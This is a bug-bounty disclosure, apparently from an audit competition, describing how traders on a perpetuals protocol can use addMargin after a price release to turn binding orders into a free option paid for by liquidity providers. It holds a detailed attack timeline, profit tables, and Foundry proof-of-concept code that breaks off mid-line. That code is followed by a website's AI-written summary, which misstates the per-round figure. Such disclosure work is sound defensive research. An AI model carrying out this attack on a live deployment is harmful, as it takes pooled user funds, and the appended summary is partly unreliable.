A trader can commit an order that only its own later addMargin makes fillable, so a prompt keeper can only cancel it and the price fixed at commit becomes a free option that LPs pay for
A trader can commit an order whose trader-set equity or leverage bound cannot be met by the order's own margin, so any keeper that arrives promptly can only cancel it. Because the fill price is fixed at the commit second and only the owner can raise margin afterwards, the owner can top up the winning side after a price move and have the order filled at the stale pre-move price, taking profit from LPs.
- Disclosed after under an hour
#98975 [SC-Low] A trader can commit an order that only its own later addMargin makes fillable, so a prompt keeper can only cancel it and the price fixed at commit becomes a free option that LPs pay for
Submitted on Nov 11th 2026 at 09:07:35 UTC by @abarbatei for Audit Competition | Plether
- Report ID: #98975
- Report Type: Smart Contract
- Report severity: Low
- Target: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
In a live market an order fills at the first Pyth tick after its commit second, whoever executes it and whenever, until its deadline. The protocol accepts this because orders are binding: the owner cannot cancel, and any keeper fills the order at once, before the owner can see later prices.
minPostPositionEquityAssets breaks that. It is a trader-set bound tested at execution against the position's live margin, and only the owner can raise that margin, with CfdEngine.addMargin, outside the queue. An increase whose own margin cannot meet the bound fails terminally for every executor. A keeper that arrives promptly can only cancel it, for an opening bounty of at most 0.20 USDG. Once the owner tops up the position, any executor fills the same order at the old price. maxPostLeverageBps reads the same margin.
The attack: commit a gated LONG increase in one account and a gated SHORT increase in another, two seconds before a scheduled data release. After the release, call addMargin on the side that is already in profit at the pre-release fill price. That is the attacker's only action after the release. The next keeper batch fills that order at the pre-release price and cancels the other. LPs pay the move.
Measured with release parameters, a 10,002,000 USDG pool and orders of 4,000,000 USDG notional, with a third-party keeper that executes 3 s after the commit and a fill price only 2 s old at the fill:
- basket -25 bps: attacker +5,956 USDG, LPs -7,559 USDG. Basket +25 bps: +5,983 / -7,586;
- control, the same orders and the same keeper timing without the bound: attacker -8,040 / -8,064, LPs +3,241 / +3,257;
- ±50 bps: +15,920 / +15,979, LPs -17,523 / -17,582. Break-even is about 10 bps;
- three releases in a row (-25, +30, -20 bps): attacker +16,992, LPs -21,558;
- a keeper that arrives before the release cancels both orders, and the attacker loses 0.40 USDG.
Vulnerability Details
Intended behaviour
Live execution "is bound to the first tick after the recorded commitTime rather than the keeper's reveal-time tick" (SECURITY.md#L647), and the order stays executable until its deadline (60 s, OrderExecutionOrchestrator.sol#L11-L14). The documented safeguard is that "binding order semantics and the lack of a user cancellation path prevent traders from turning queued intents into free options" (SECURITY.md#L658-L659; also #L366, WHITEPAPER.md#L1137-L1142, and docs.plether.com "How orders execute": "If traders could cancel after seeing the next oracle observation, a commitment would become a free option").
For the one bound the team saw at risk, the specification guards against exactly this owner lever. The settlement-minimum guard "prevents owner withdrawals from manufacturing a settlement-minimum failure; it does not freeze market-dependent financial bounds" (ACCOUNTING_SPEC.md#L917-L931). The equity and leverage bounds are not market-dependent. They depend on margin that only the owner can change.
Root cause
1. The bounds are tested against live margin. For an open or increase, the evaluator projects the margin as the current pledge plus the new pledge and checks both bounds on it (CfdOrderPolicyEvaluatorBase.sol#L366-L386, #L526-L539):
assessment.postPositionMarginAssets = delta.positionMarginAfterOpen;
...
if (fullClose) {
return;
}
...
if (assessment.postPositionEquityAssets < 0 || normalizedEquityAssets < bounds.minPostPositionEquityAssets) {
revert ICfdOrderPolicyEvaluator.CfdOrderPolicyEvaluator__ConstraintViolation(
OrderV3Types.ConstraintKind.PostPositionEquity,
normalizedEquityAssets,
bounds.minPostPositionEquityAssets
);
}
_requireMaximum(OrderV3Types.ConstraintKind.PostLeverage, assessment.postLeverageBps, bounds.maxPostLeverageBps);
positionMarginAfterOpen starts from the pledge read from the clearinghouse at execution (CfdEnginePlanLib.sol#L546-L580, CfdEngine.sol#L1372-L1389). Equity is computed at the fill price, so with a fixed tick only margin moves it.
2. Only the owner can raise that margin, at any time. addMargin checks msg.sender == account and an open position, nothing about pending orders (CfdEngine.sol#L501-L529). A near-minimum position (2,000 USDG notional) is enough.
3. For anyone else, executing the order cancels it. ConstraintViolation is classified terminal (OrderRouterExecutionSidecar.sol#L564-L576, #L879-L893). Settlement releases the committed margin and pays the executor the opening bounty (OrderRouter.sol#L292-L344), which is 1 bp of notional capped at 0.20 USDG (OrderRouterBase.sol#L71-L74).
4. Commitment accepts a bound the order cannot meet. Fresh-request validation checks only that maxPostLeverageBps is non-zero. It never compares either bound with what the order can produce (OrderLiquidationBatchLogic.sol#L270-L319). For minPostSettlementBalanceAssets the same file restricts the bound, requires it to be funded at commit, and blocks withdrawals that would break it (#L259-L267, #L303-L312, CfdEngineSettlementSidecar.sol#L261-L272). Nothing comparable exists for the equity and leverage bounds, where the lever is addMargin rather than a withdrawal.
5. The fill price is fixed by the commit second (PletherOracle.sol#L610-L615: the first unique update in (commitTime, min(commitTime + orderSettlementWindow, now)]). This is fair for a binding order. With points 1 to 3 it gives the owner, and only the owner, the choice between "fill at the commit price" and "nothing", made after the next prices are known.
Attack (the proof's main test)
Release at T (Tuesday 12:30:00 UTC, basket 1.0000, pool 10,002,000 USDG, two attacker accounts with 100,000 USDG each and a near-minimum position each):
| Time | Step |
|---|---|
| T-5 | A keeper refreshes the mark. This is the last refresh before the fill |
| T-2 | Account 1 commits a LONG increase and account 2 a SHORT increase: 4,000,000 USDG notional, 60,000 USDG margin, minPostPositionEquityAssets set 5,000 USDG above what pledge plus order margin can reach (OrderRouter.commitOrder) |
| T-1 | First tick after the commit second, basket 1.0000. This is both orders' fill price |
| T | Release: the basket moves 25 bps |
| T+1 | The attacker calls CfdEngine.addMargin(30,000 USDG) on the side in profit. Nothing else |
| T+1, next block | A third-party keeper calls executeOrderBatch with the T-1 tick. It fills the enabled order and cancels the other with ConstraintViolation |
| T+1, one block later | The attacker commits ordinary closes, which the keeper fills at the next tick, at the new price |
The test asserts that the T-1 fill tick is newer than the engine's cached mark (T-5). Under the same keeper timing without the bound, the keeper fills both orders and the trader only pays costs.
Realistic window
- Keeper speed. The window runs from the release until the first third-party execution attempt. The protocol keeper polls every 5 s while idle and every 1 s with pending work (plether-app PR #205). On the Arbitrum Sepolia deployment, orders were executed 3 to 9 s after commit. With the commit at T-2, the attacker therefore has about 1 to 7 s after the release to land one
addMargin. Committing behind other orders does not help: keepers clear consecutive orders in oneexecuteOrderBatch. - Break-even. The decision in the proof is made at T+1. Results for 4,000,000 USDG per side:
| Basket move | -50 | +50 | -25 | +25 | -15 | +15 | -12 | -10 | -8 bps |
|---|---|---|---|---|---|---|---|---|---|
| Attacker, USDG | +15,920 | +15,979 | +5,956 | +5,983 | +1,970 | +1,984 | +774 | -22 | -819 |
| LPs, USDG | -17,523 | -17,582 | -7,559 | -7,586 | -3,573 | -3,588 | -2,377 | -1,580 | -783 |
The round trip costs about 10 bps (two 4 bp execution fees plus the confidence shifts). Below that, the attacker just lets both orders be cancelled.
- Losing the race to a keeper that executes before the release costs 0.40 USDG (first test). A dedicated sub-second keeper would defeat the attack at that price per attempt. The attacker loses nothing else and can try again at the next release.
- Atomicity is not needed. Once the winning order is enabled, any executor fills it. Accounts can also be contracts (counterfactual accounts are explicitly allowed,
MarginClearinghouse.sol#L365-L368), so the owner can enable, fill and drop in one transaction (last test). - Residual risk. The edge is fixed at the fill, at the pre-release price. What remains is exposure from the fill until the exit order's own tick, 1 to 2 s, which can be hedged off-chain. In a very volatile release the exit tick can also exceed the 10 bps basket-confidence limit, which delays the exit. These affect payout, not the mechanism.
- Size is bounded by the 40% skew cap; the proof uses it. Pyth is the suite's mock, which enforces Pyth's range and first-update rules. No clock skew is assumed.
Why this is not a known issue
- SC Audit Studio SC-M4 (fixed). Even read as part of SC-M4's free-option family, this shows the fix at a82d4fef is incomplete, through a new mechanism:
- a different lever in different code:
CfdOrderPolicyEvaluatorBase._enforceBoundsplusCfdEngine.addMargin, not keeper tick selection or a pool-depth change; - no LP capital and no LP flow;
- it defeats the post-fix defence itself, a unique first tick plus a binding order that a prompt keeper fills. Here a prompt keeper can only cancel, and the proof's keeper executes 3 s after the commit;
- the identical owner lever is already guarded, for the settlement minimum only (
ACCOUNTING_SPEC.md#L917-L931).
- a different lever in different code:
- AI scan, "Order execution accepts oracle updates older than the engine's cached mark." That acceptance is not used. The fill tick is newer than the cached mark (asserted), the fill is 2 s after its tick, and the honest keeper executes it.
- Cecuro HIGH-1 / clock alignment. No clock skew is involved. The fill tick is strictly after the commit second, and the trader decides after committing. The team asked HIGH-1 for "evidence that the timing window is practically usable and gives traders an exploitable pricing advantage at LP expense". The proof gives that: profit in both directions with a keeper 3 s after the commit, against a loss under the same timing with binding orders, repeated over three releases.
- SC-I2 asks for a cancel path, and SECURITY.md "Router and keeper limitations" documents that users cannot cancel (#L1345) and that policy failures are terminal. The finding is that the owner holds an on-switch that nobody else has. Cecuro MED-16 / LOW-57 concern stale-mark admission; the mark is fresh here.
No listed report or SECURITY.md section mentions minPostPositionEquityAssets, maxPostLeverageBps or addMargin in connection with order execution.
Impact Details
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield (Critical). The profit is paid from HousePool cash, which is LP principal. The pool loses the attacker's profit plus execution fees, about 1,600 USDG per round, which go to the treasury.
- Profit in both directions. The side is chosen after the move: +5,956 on a fall, +5,983 on a rise.
- Paid by LPs, not by market risk. The same trader with binding orders under the same keeper timing loses 8,040 / 8,064 USDG, and LPs gain.
- It scales and repeats. Profit is about
(move - 10 bps) x notional, with notional up to 40% of pool depth. Every scheduled release is another round: three rounds take 21,558 USDG from a 10M pool. A failed round costs 0.40 USDG. - Capital is the order margin plus the top-up, returned at the close: 100,000 USDG per account here.
Mitigation
- While an account has a pending order with a non-zero
minPostPositionEquityAssetsor a finitemaxPostLeverageBps, rejectaddMarginfor it, or evaluate both bounds against the margin recorded at commit plus the order's own margin. This mirrors the settlement-minimum guard. - At commit, reject orders whose bounds fail with the order's own margin.
- Review other execution checks that read owner-movable balances, for example the negative-VPI reserve funded from free settlement (
CfdEnginePlanLib.sol#L561-L567).
References
- Bounds:
CfdOrderPolicyEvaluatorBase.sol#L164-L176, #L325-L387, #L490-L540;OrderV3Types.sol#L137-L151 - Execution path:
OrderRouterExecutionSidecar.sol#L129-L232(FIFO head), #L447-L452 (same-block and MEV boundary), #L630-L655 - Release parameters:
DEPLOYMENT.md#L123-L156
Proof of Concept
Proof of Concept
Install the file below as packages/perps/test/poc/hunt-zi01v/ProofOwnerGatedLookBackFill.t.sol in a checkout of a82d4fefb02768e5b3bddcc97dee371eee24fea8. It extends the repository's test/perps/shared/HousePoolTestBase.sol, and no contract in scope is modified. Run from packages/perps:
FOUNDRY_TEST=test/poc/hunt-zi01v forge test --match-path 'test/poc/hunt-zi01v/*.t.sol' -vv
FOUNDRY_TEST only limits the via-IR compile to the sources plus that directory.
The five tests:
test_ThirdPartyExecutionOnlyCancels: a keeper at the earliest possible moment (T-1) getsFailed / ConstraintViolationfor both orders. No exposure is opened, the margin is released, the attacker's cost is 0.40 USDG, and a third party'saddMarginreverts.test_OwnerEnablesWinnerAndKeeperFillsIt: the main attack and its same-timing control, ±25 bps, all from one snapshot.test_BreakEvenSweep: moves from -50 to +50 bps.test_RepeatsOnEveryRelease: three releases one hour apart.test_ContractAccountDoesItInOneTransaction: a contract account enables, fills and drops in one transaction.
Every attacker and keeper step is a public entrypoint (OrderRouter.commitOrder, executeOrder, executeOrderBatch, updateMarkPrice, CfdEngine.addMargin).
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {HousePoolAsyncTestBase} from "../../perps/shared/HousePoolTestBase.sol";
import {CfdEngine} from "@plether/perps/CfdEngine.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
/**
* Proof: `minPostPositionEquityAssets` is tested at execution against live position margin, and only the owner can
* raise that margin (`CfdEngine.addMargin`, not queued). An increase whose own margin cannot meet the bound fails
* terminally for any executor until its owner tops up the position. The fill price is fixed by the commit second.
*
* Timeline (release at T): both orders committed at T-2, fill tick T-1 (pre-release price), no mark refresh after
* T-5. At T+1 the attacker calls addMargin on the winning side, nothing else. A third-party keeper processes the
* FIFO queue with executeOrderBatch in the next block: it fills the enabled order at the T-1 price (2 s old, newer
* than the engine mark) and cancels the other. The control has the same orders and keeper timing without the bound.
*
* Public entrypoints only; vm.prank only selects the sender. Suite helpers fund the pool and the accounts. Pyth is
* the suite's mock (out of scope) and enforces Pyth's range and first-update rules. Release parameters (DEPLOYMENT.md).
*/
contract ProofOwnerGatedLookBackFill is HousePoolAsyncTestBase {
address internal acctLong = makeAddr("attackerLong");
address internal acctShort = makeAddr("attackerShort");
address internal keeper = makeAddr("thirdPartyKeeper");
address internal lp = makeAddr("lp");
uint64 internal constant CONF = 40_000; // 4 bps of 1.00 on each feed
uint256 internal constant SEED_SIZE = 2_000e18; // near-minimum position: addMargin needs one
uint256 internal constant SEED_MARGIN = 100e6;
uint256 internal constant TICKET_MARGIN = 60_000e6;
uint256 internal constant GATE_HEADROOM = 5_000e6; // bound sits this far above what the order alone reaches
uint256 internal constant GATE_TOPUP = 30_000e6;
uint256 internal constant FIRST_RELEASE = 1_710_246_600; // Tue 2024-03-12 12:30:00 UTC, 08:30 New York
uint256 internal ticketSize = 4_000_000e18; // 4,000,000 USDG notional, 40% of pool depth
uint256 internal release = FIRST_RELEASE;
uint256 internal priceBefore = 1e8;
uint256 internal nonce;
uint256 internal attackerStart;
uint256 internal poolStart;
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function setUp() public override {
super.setUp();
IOrderRouterAdminHost.RouterConfig memory config = _routerConfig(); // timelocked propose/finalize
config.adverseConfidenceMultiplierBps = 2500;
config.minOpenNotionalAssets = 1_000e6;
_setRouterConfig(config);
vm.deal(keeper, 10 ether);
vm.deal(address(this), 10 ether);
}
// ---------------------------------------------------------------- helpers
function _goTo(
uint256 t
) internal {
vm.warp(t);
vm.roll(vm.getBlockNumber() + 1);
}
function _nextBlock() internal {
vm.roll(vm.getBlockNumber() + 1);
}
/// @dev One signed update per feed; the previous update is one second older.
function _tick(
uint256 price,
uint256 publishTime
) internal pure returns (bytes[] memory data) {
MockPyth.MockPrice memory p = MockPyth.MockPrice(int64(uint64(price)), CONF, -8, publishTime, publishTime - 1);
MockPyth.FeedUpdate[] memory u = new MockPyth.FeedUpdate[](2);
u[0] = MockPyth.FeedUpdate(BASE_PYTH_FEED_A, p);
u[1] = MockPyth.FeedUpdate(BASE_PYTH_FEED_B, p);
data = new bytes[](1);
data[0] = abi.encode(u);
}
function _request(
CfdTypes.Side side,
uint256 size,
uint256 margin,
bool isClose,
uint256 minEquity
) internal returns (OrderV3Types.OrderRequest memory) {
uint256 window = router.maxExecutionWindowSeconds();
bool low = (side == CfdTypes.Side.LONG) != isClose;
return OrderV3Types.OrderRequest({
clientOrderId: keccak256(abi.encode("zi01", ++nonce)),
side: side,
sizeDelta: size,
marginDelta: margin,
targetPrice: low ? 1 : engine.CAP_PRICE(),
isClose: isClose,
bounds: OrderV3Types.ExecutionBounds({
submitBy: uint64(vm.getBlockTimestamp() + window),
executionWindowSeconds: uint32(window),
allowedExecutionModes: 7,
expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
maxExecutionBountyAssets: type(uint256).max,
maxExecutionNotionalAssets: type(uint256).max,
maxGrossAccountDebitAssets: type(uint256).max,
maxActionChargeAssets: type(uint256).max,
maxExplicitFeesAssets: type(uint256).max,
maxPostPositionSize: type(uint256).max,
minPostSettlementBalanceAssets: 0,
minPostPositionEquityAssets: minEquity,
maxPostLeverageBps: type(uint32).max
})
});
}
function _execute(
uint64 id,
bytes[] memory data
) internal returns (OrderV3Types.ExecutionResult memory) {
uint256 fee = router.pletherOracle().getOrderExecutionFee(data);
vm.prank(keeper);
return router.executeOrder{value: fee}(id, data);
}
function _assertCancelled(
OrderV3Types.ExecutionResult memory r
) internal pure {
assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Failed), "failed");
assertEq(uint8(r.terminalReason), uint8(OrderV3Types.TerminalReason.ConstraintViolation), "by the bound");
}
/// @dev Ordinary order: the account commits, the keeper fills it at the next second's tick.
function _commitAndFill(
address account,
OrderV3Types.OrderRequest memory request,
uint256 price
) internal {
vm.prank(account);
uint64 id = router.commitOrder(request);
uint256 t = vm.getBlockTimestamp();
_goTo(t + 1);
assertEq(uint8(_execute(id, _tick(price, t + 1)).status), uint8(OrderV3Types.LifecycleStatus.Executed));
}
function _refreshMark(
uint256 price
) internal {
bytes[] memory data = _tick(price, vm.getBlockTimestamp());
uint256 fee = router.pletherOracle().getUpdateFee(data);
vm.prank(keeper);
router.updateMarkPrice{value: fee}(data);
}
function _size(
address a
) internal view returns (uint256 s) {
(s,,,,,,) = engine.positions(a);
}
function _wealth() internal view returns (uint256) {
return clearinghouse.balanceAssets(acctLong) + clearinghouse.balanceAssets(acctShort);
}
function _priceAfter(
int256 bps
) internal view returns (uint256) {
return uint256(int256(priceBefore) + (int256(priceBefore) * bps) / 10_000);
}
function _prepare() internal {
_depositAsync(juniorVault, lp, 9_000_000e6); // third-party LP on top of the fixture's 1M
_finishAsyncCooldown(juniorVault, lp);
_fundTrader(acctLong, 100_000e6);
_fundTrader(acctShort, 100_000e6);
_goTo(release - 3600);
_refreshMark(priceBefore);
attackerStart = _wealth();
poolStart = pool.totalAssets();
}
/// @dev Seeds if needed, then at T-2 a LONG and a SHORT increase. `gated` sets the equity bound 5,000 USDG above
/// the account's pledge plus the order's own margin.
function _commitTickets(
bool gated
) internal returns (uint64 idLong, uint64 idShort) {
_goTo(release - 900);
_refreshMark(priceBefore);
if (_size(acctLong) == 0) {
_commitAndFill(acctLong, _request(CfdTypes.Side.LONG, SEED_SIZE, SEED_MARGIN, false, 0), priceBefore);
}
if (_size(acctShort) == 0) {
_commitAndFill(acctShort, _request(CfdTypes.Side.SHORT, SEED_SIZE, SEED_MARGIN, false, 0), priceBefore);
}
_goTo(release - 5);
_refreshMark(priceBefore); // last mark refresh before the fill
_goTo(release - 2);
uint256 gateL = gated ? clearinghouse.pnlPledgeAssets(acctLong) + TICKET_MARGIN + GATE_HEADROOM : 0;
uint256 gateS = gated ? clearinghouse.pnlPledgeAssets(acctShort) + TICKET_MARGIN + GATE_HEADROOM : 0;
OrderV3Types.OrderRequest memory rl = _request(CfdTypes.Side.LONG, ticketSize, TICKET_MARGIN, false, gateL);
OrderV3Types.OrderRequest memory rs = _request(CfdTypes.Side.SHORT, ticketSize, TICKET_MARGIN, false, gateS);
vm.prank(acctLong);
idLong = router.commitOrder(rl);
vm.prank(acctShort);
idShort = router.commitOrder(rs);
}
/// @dev Ordinary closes filled by the keeper at `price`, then everything is checked flat.
function _closeAll(
uint256 price,
bool shortFirst
) internal returns (int256 attackerPnl, int256 lpDelta) {
for (uint256 i; i < 2; i++) {
bool s = shortFirst == (i == 0);
address a = s ? acctShort : acctLong;
CfdTypes.Side side = s ? CfdTypes.Side.SHORT : CfdTypes.Side.LONG;
if (_size(a) > 0) _commitAndFill(a, _request(side, _size(a), 0, true, 0), price);
}
assertEq(_size(acctLong) + _size(acctShort), 0, "flat");
assertEq(engine.totalTraderClaimBalanceAssets(), 0, "no trader claim left");
assertEq(router.pendingOrderCounts(acctLong) + router.pendingOrderCounts(acctShort), 0, "no order left");
attackerPnl = int256(_wealth()) - int256(att
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The equity and leverage bounds are evaluated at execution against live position margin, which only the account owner can change via addMargin, and commit-time validation never checks that the order's own margin can satisfy those bounds.
Impact
The attacker could take profit in either direction from LP principal, roughly 1,600 USDG per round at the tested size, though a keeper executing before the release limits the loss to about 0.40 USDG and a sub-second keeper would defeat the attack.
What the attacker needed
Two funded accounts; a near-minimum open position; commit two seconds before a release; keeper executes after the release
The fix
While an account has a pending order with such bounds, addMargin should be rejected or the bounds evaluated against the margin recorded at commit plus the order's own margin, and orders whose bounds fail with their own margin should be rejected at commit.
How it was found
- Commit a LONG increase in one account and a SHORT increase in another, with the equity bound set above what the order's own margin can reach.
- Wait for the scheduled data release and the resulting price move.
- Call addMargin on the side that is now in profit.
- A keeper executes the batch, filling the enabled order at the pre-release tick and cancelling the other.
- Commit ordinary closes that the keeper fills at the new price.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An order here is meant to be binding: once you commit, you cannot take it back, so you cannot wait to see the price and then decide. This report shows a trader can set a condition on the order that only they can later satisfy by adding money to their account. After a price move they add the money to the side that is now winning, and the order fills at the old price, so the trader profits and the pool of other users' money pays.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.